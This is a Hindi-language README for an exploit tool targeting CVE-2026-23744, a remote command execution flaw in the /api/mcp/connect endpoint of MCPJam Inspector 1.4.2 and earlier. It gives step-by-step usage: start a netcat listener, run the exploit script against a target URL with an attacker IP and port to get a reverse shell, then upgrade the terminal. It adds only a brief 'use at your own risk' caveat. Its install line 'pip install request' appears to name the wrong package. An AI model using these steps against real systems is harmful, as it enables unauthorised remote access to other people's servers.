CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

MCPJam Inspector <= 1.4.2 में एक महत्वपूर्ण RCE कमजोरी संभव है जब /api/mcp/connect एंडपॉइंट डिफ़ॉल्ट रूप से सभी नेटवर्क इंटरफेस (0.0.0.0) पर सुनता है और serverConfig JSON ऑब्जेक्ट में command और args पैरामीटर को पास किए गए उपयोगकर्ता-आपूर्ति किए गए इनपुट को ठीक से सैनिटाइज़ करने में विफल रहता है।

एक हमलावर /api/mcp/connect पर एक निर्मित POST अनुरोध भेजकर इस कमजोरी का शोषण कर सकता है, जिससे लक्ष्य प्रणाली पर MCPJam सेवा के विशेषाधिकारों के साथ मनमाना कमांड निष्पादन प्राप्त होता है।

उपयोग

1. निर्भरताएँ स्थापित करें

 pip install request

2. nc के साथ एक लिसनर प्रारंभ करें

sudo nc -lvnp <port>

3. एक्सप्लॉइट प्रारंभ करें

python3 CVE-2026-23744.py -u <url> -i <attacker-ip> -p <attacker-port>

4. बेहतर उपयोग के लिए मैं सुझाव देता हूँ कि टर्मिनल को पूरी तरह कार्यात्मक बनाने के लिए अपडेट करें, अन्यथा आप ctrl^c जैसे कमांड का उपयोग नहीं कर पाएँगे।

उदाहरण

इस एक्सप्लॉइट का उपयोग केवल नियंत्रित वातावरण में करें

⚠️अपने जोखिम पर उपयोग करें⚠️